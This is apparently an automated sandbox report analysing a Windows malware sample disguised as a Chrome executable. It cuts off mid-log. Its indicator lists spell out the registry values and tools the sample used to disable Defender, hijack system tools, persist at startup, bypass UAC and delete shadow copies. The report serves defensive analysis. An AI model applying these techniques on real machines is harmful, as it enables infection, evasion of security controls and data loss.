Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/05/2026, 00:42
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
pixelio.io_chrome.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
44 signatures
150 seconds
Behavioral task
behavioral2
Sample
pixelio.io_chrome.exe
Resource
win11-20250610-en
windows11-21h2-x64
42 signatures
150 seconds
General
- Target pixelio.io_chrome.exe
- Size 50KB
- Sample260508-a2bmesfw9p
- SHA256 2b62cd84acace259d0dc9ff7ed2abb44a0bcae2f07a4f18b5c179cf5b7b362d2
- MD5 db57b6c16c3f093e44c3b20f3fdbaeef
- SHA1 90ec20ad85a1da0f71d2028e2286b300fc863803
- SHA512 9e5b60ade7fcc05a753907a843e9a01c77addf10293c09a5d38a308d8d89e8e92babc42463e132f73f3fc4343d36dc667c353d77b8c16419ae992cbf2e0bcd72
- SSDEEP 768:vd4K1X41QZ+6IN1/jpf0ZxD8LNJK/P/RgL4DC1XXGblfpp9KFc5xP:1Ta+ZNklpCAr0PGL4DEXGblfL9uc7
- TLSH T12933F74477F94212F1FF4ABA49B19601AB30B8A79C22D78E06D5058E1AB3740DDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/2812-0-0x0000000000210000-0x0000000000222000-memory.dmp disable_win_def behavioral1/files/0x0007000000024889-2396.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" pixelio.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" pixelio.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5500 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" pixelio.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts pixelio.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe pixelio.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe pixelio.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe pixelio.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 6088 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation pixelio.io_chrome.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf pixelio.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf pixelio.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf pixelio.io_chrome.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe pixelio.io_chrome.exe File created C:\Windows\system32\sysupdate.exe pixelio.io_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe pixelio.io_chrome.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1680 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" pixelio.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" pixelio.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3256 sc.exe 4824 sc.exe 2708 sc.exe 5176 sc.exe 3428 sc.exe 5380 sc.exe 5096 sc.exe 1736 sc.exe 6072 sc.exe 3824 sc.exe 5704 sc.exe 4708 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 3284 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4836 ipconfig.exe 276 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3904 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2780 vssadmin.exe 3768 vssadmin.exe 5596 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\WallpaperStyle = "2" pixelio.io_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134226745496984767" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet pixelio.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command pixelio.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open pixelio.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings pixelio.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe\" \"%1\"" pixelio.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell pixelio.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe" pixelio.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command\DelegateExecute pixelio.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell pixelio.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings pixelio.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell pixelio.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command pixelio.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open pixelio.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open pixelio.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\.pdf\ = "PDFBotnet" pixelio.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command pixelio.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 8 schtasks.exe 640 schtasks.exe 1284 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5500 powershell.exe 4420 chrome.exe 4420 chrome.exe 5500 powershell.exe 5500 powershell.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe 2812 pixelio.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2812 pixelio.io_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5500 powershell.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeIncreaseQuotaPrivilege 716 WMIC.exe Token: SeSecurityPrivilege 716 WMIC.exe Token: SeTakeOwnershipPrivilege 716 WMIC.exe Token: SeLoadDriverPrivilege 716 WMIC.exe Token: SeSystemProfilePrivilege 716 WMIC.exe Token: SeSystemtimePrivilege 716 WMIC.exe Token: SeProfSingleProcessPrivilege 716 WMIC.exe Token: SeIncBasePriorityPrivilege 716 WMIC.exe Token: SeCreatePagefilePrivilege 716 WMIC.exe Token: SeBackupPrivilege 716 WMIC.exe Token: SeRestorePrivilege 716 WMIC.exe Token: SeShutdownPrivilege 716 WMIC.exe Token: SeDebugPrivilege 716 WMIC.exe Token: SeSystemEnvironmentPrivilege 716 WMIC.exe Token: SeRemoteShutdownPrivilege 716 WMIC.exe Token: SeUndockPrivilege 716 WMIC.exe Token: SeManageVolumePrivilege 716 WMIC.exe Token: 33 716 WMIC.exe Token: 34 716 WMIC.exe Token: 35 716 WMIC.exe Token: 36 716 WMIC.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeIncreaseQuotaPrivilege 716 WMIC.exe Token: SeSecurityPrivilege 716 WMIC.exe Token: SeTakeOwnershipPrivilege 716 WMIC.exe Token: SeLoadDriverPrivilege 716 WMIC.exe Token: SeSystemProfilePrivilege 716 WMIC.exe Token: SeSystemtimePrivilege 716 WMIC.exe Token: SeProfSingleProcessPrivilege 716 WMIC.exe Token: SeIncBasePriorityPrivilege 716 WMIC.exe Token: SeCreatePagefilePrivilege 716 WMIC.exe Token: SeBackupPrivilege 716 WMIC.exe Token: SeRestorePrivilege 716 WMIC.exe Token: SeShutdownPrivilege 716 WMIC.exe Token: SeDebugPrivilege 716 WMIC.exe Token: SeSystemEnvironmentPrivilege 716 WMIC.exe Token: SeRemoteShutdownPrivilege 716 WMIC.exe Token: SeUndockPrivilege 716 WMIC.exe Token: SeManageVolumePrivilege 716 WMIC.exe Token: 33 716 WMIC.exe Token: 34 716 WMIC.exe Token: 35 716 WMIC.exe Token: 36 716 WMIC.exe Token: SeBackupPrivilege 5740 vssvc.exe Token: SeRestorePrivilege 5740 vssvc.exe Token: SeAuditPrivilege 5740 vssvc.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe Token: SeShutdownPrivilege 4420 chrome.exe Token: SeCreatePagefilePrivilege 4420 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe 4420 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2812 pixelio.io_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2812 wrote to memory of 4420 2812 pixelio.io_chrome.exe 85 PID 4420 wrote to memory of 1072 4420 chrome.exe 86 PID 2812 wrote to memory of 5500 2812 pixelio.io_chrome.exe 87 PID 2812 wrote to memory of 4708 2812 pixelio.io_chrome.exe 174 PID 2812 wrote to memory of 3256 2812 pixelio.io_chrome.exe 156 PID 2812 wrote to memory of 4824 2812 pixelio.io_chrome.exe 93 PID 2812 wrote to memory of 1736 2812 pixelio.io_chrome.exe 146 PID 2812 wrote to memory of 6072 2812 pixelio.io_chrome.exe 97 PID 2812 wrote to memory of 2708 2812 pixelio.io_chrome.exe 99 PID 2812 wrote to memory of 3824 2812 pixelio.io_chrome.exe 101 PID 2812 wrote to memory of 5176 2812 pixelio.io_chrome.exe 103 PID 2812 wrote to memory of 5272 2812 pixelio.io_chrome.exe 104 PID 2812 wrote to memory of 3428 2812 pixelio.io_chrome.exe 153 PID 4420 wrote to memory of 3284 4420 chrome.exe 108 PID 4420 wrote to memory of 5460 4420 chrome.exe 109 PID 4420 wrote to memory of 5460 4420 chrome.exe 109 PID 2812 wrote to memory of 5380 2812 pixelio.io_chrome.exe 110 PID 4420 wrote to memory of 1896 4420 chrome.exe 111 PID 4420 wrote to memory of 1896 4420 chrome.exe 111 PID 2812 wrote to memory of 5596 2812 pixelio.io_chrome.exe 161 PID 2812 wrote to memory of 716 2812 pixelio.io_chrome.exe 115 PID 4420 wrote to memory of 472 4420 chrome.exe 116 PID 4420 wrote to memory of 2188 4420 chrome.exe 117 PID 4420 wrote to memory of 472 4420 chrome.exe 116 PID 4420 wrote to memory of 2188 4420 chrome.exe 117 PID 4420 wrote to memory of 3052 4420 chrome.exe 119 PID 4420 wrote to memory of 3052 4420 chrome.exe 119 PID 5272 wrote to memory of 2676 5272 fodhelper.exe 121 PID 4420 wrote to memory of 6100 4420 chrome.exe 126 PID 4420 wrote to memory of 6100 4420 chrome.exe 126 PID 2812 wrote to memory of 4900 2812 pixelio.io_chrome.exe 127 PID 2812 wrote to memory of 8 2812 pixelio.io_chrome.exe 128 PID 2812 wrote to memory of 640 2812 pixelio.io_chrome.exe 130 PID 2812 wrote to memory of 5148 2812 pixelio.io_chrome.exe 133 PID 2812 wrote to memory of 2780 2812 pixelio.io_chrome.exe 135 PID 2812 wrote to memory of 1216 2812 